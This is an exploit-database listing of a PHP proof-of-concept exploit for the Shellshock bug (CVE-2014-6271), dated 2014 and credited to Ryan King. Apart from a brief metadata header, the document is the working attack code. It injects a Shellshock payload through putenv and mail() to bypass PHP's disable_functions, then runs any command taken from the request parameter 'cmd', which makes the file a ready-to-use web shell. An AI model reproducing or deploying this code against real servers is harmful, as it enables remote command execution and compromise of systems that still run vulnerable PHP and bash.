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PHP 5.x - Bypass Disable Functions Vulnerability
Author
Risk
[Security Risk High
]0day-ID
Category
Date add
CVE
Platform
# Exploit Title: PHP 5.x Shellshock Exploit (bypass disable_functions)
# Google Dork: none
# Date: 10/31/2014
# Exploit Author: Ryan King (Starfall)
# Vendor Homepage: http://php.net
# Software Link: http://php.net/get/php-5.6.2.tar.bz2/from/a/mirror
# Version: 5.* (tested on 5.6.2)
# Tested on: Debian 7 and CentOS 5 and 6
# CVE: CVE-2014-6271
<?php
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @
mail.c:283
if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
// In Safe Mode, the user may only alter environment variables
whose names
// begin with the prefixes supplied by this directive.
// By default, users will only be able to set environment variables
that
// begin with PHP_ (e.g. PHP_FOO=BAR). Note: if this directive is
empty,
// PHP will let the user modify ANY environment variable!
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actually
send any mail
}
else return "Not vuln (not bash)";
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
shellshock($_REQUEST["cmd"]);
?>
# 0day.today [2024-11-14] #